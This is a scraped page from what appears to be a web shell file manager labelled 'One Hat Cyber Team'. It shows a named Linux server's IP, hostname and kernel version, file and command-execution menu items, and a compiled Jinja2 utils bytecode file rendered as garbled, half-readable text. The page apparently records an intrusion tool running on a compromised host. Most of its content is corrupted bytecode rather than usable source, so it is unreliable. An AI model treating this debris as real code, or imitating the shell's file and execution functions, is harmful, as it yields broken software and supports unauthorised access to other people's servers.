⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.24
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
jinja2
/
__pycache__
/
View File Name :
utils.cpython-39.opt-1.pyc
a `W @ s d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlmZ d dl m Z d dl mZ d dlmZ d dlmZ d d lmZ d dlmZ d dlmZ d d lmZ d dlmZ eddddd i Ze ZdjZde dvZdd Z dd Z!dd Z"dd Z#dd Z$d!d" Z%d#d$ Z&dJd&d'Z'dKd)d*Z(d+d, Z)dLd-d.Z*dMd/d0Z+dNd5d6Z,dOd8d9Z-G d:d; d;e.Z/ej01e/ dPd=d>Z2dQd?d@Z3G dAdB dBe.Z4G dCdD dDe.Z5G dEdF dFe.Z6ze7dG d2Z8W n e9y d%Z8Y n0 dHdI Z:dS )R N)deque)choice) randrange) ascii_letters)digits)Lockescape)Markup )abc)string_types) text_type) url_quoteZMissingType __repr__c C s dS )Nmissingr )xr r 0/usr/lib/python3.9/site-packages/jinja2/utils.py
r z\//c C s d| _ | S )a+ This decorator can be used to mark a function or method context callable. A context callable is passed the active :class:`Context` as first argument when called from the template. This is useful if a function wants to get access to the context or functions provided on the context object. For example a function that returns a sorted list of template variables the current template exports could look like this:: @contextfunction def get_exported_names(context): return sorted(context.exported_vars) T)contextfunctionfr r r r s r c C s d| _ | S )aG This decorator can be used to mark a function or method as an eval context callable. This is similar to the :func:`contextfunction` but instead of passing the context, an evaluation context object is passed. For more information about the eval context, see :ref:`eval-context`. .. versionadded:: 2.4 T)evalcontextfunctionr r r r r 0 s r c C s d| _ | S )zThis decorator can be used to mark a function or method as environment callable. This decorator works exactly like the :func:`contextfunction` decorator just that the first argument is the active :class:`Environment` and not context. T)environmentfunctionr r r r r = s r c C s t | j | S )z%Marks the function as internally used) internal_codeadd__code__r r r r internalcodeG s r! c C s ddl m} t| |S )a Check if the object passed is undefined. This does nothing more than performing an instance check against :class:`Undefined` but looks nicer. This can be used for custom filters or tests that want to react to undefined variables. For example a custom default filter can look like this:: def default(var, default=''): if is_undefined(var): return default return var r ) Undefined)Zruntimer" isinstance)objr" r r r is_undefinedM s r% c C s | D ]}qdS )z4Consumes an iterable without doing anything with it.Nr )iterable_r r r consume^ s r( c C s, ddl m} ddlm} | | dS )a Jinja keeps internal caches for environments and lexers. These are used so that Jinja doesn't have to recreate environments and lexers all the time. Normally you don't have to care about that but if you are measuring memory consumption you may want to clean the caches. r )_spontaneous_environments)_lexer_cacheN)Zenvironmentr) Zlexerr* clear)r) r* r r r clear_cachesd s r, Fc C sx zVd| v r| dd\}}n$d| v r6| d\}}}n t| W S tt|dd|g|W S ttfyr |sn Y n0 dS )a Imports an object based on a string. This is useful if you want to use import paths as endpoints or something similar. An import path can be specified either in dotted notation (``xml.sax.saxutils.escape``) or with a colon as object delimiter (``xml.sax.saxutils:escape``). If the `silent` is True the return value will be `None` if the import fails. :return: imported object :r .N)split rpartition __import__getattrImportErrorAttributeError)Zimport_nameZsilentmoduler$ r' r r r import_stringq s r6 rbc C s t j| sdS t| |S )z\Returns a file descriptor for the filename if that file exists, otherwise ``None``. N)ospathisfileopen)filenamemoder r r open_if_exists s r> c C sJ | du rdS | t u rdS t| }|jdv r2|j}n|jd |j }d| S )zReturns the name of the object's type. For some recognized singletons the name of the object is returned instead. (For example for `None` and `Ellipsis`). NNoneEllipsis)Z__builtin__builtinsr. z %s object)r@ type __module____name__)r$ clsnamer r r object_type_repr s rG c C sF zddl m } || |dW S ty@ ddlm} || Y S 0 dS )zYPrettyprint an object. Either use the `pretty` library or the builtin `pprint`. r )pretty)verbose)pformatN)rH r3 ZpprintrJ )r$ rI rH rJ r r r rJ s rJ c C s |fdd}t dtt| }|r4dtt| p6d}|rHdt| pJd}t|D ]n\}} d| d } }}t d|} | r| } || d }|d rt d |} | r| }|d| }|ds:d|vrN|d sN|dsNt|dkrN|d t t v rN|ds:|ds:|drNd|||||f }|d sf|drzd|||||f }d|v r|dsd|vrt d|rd||f }| | | ||<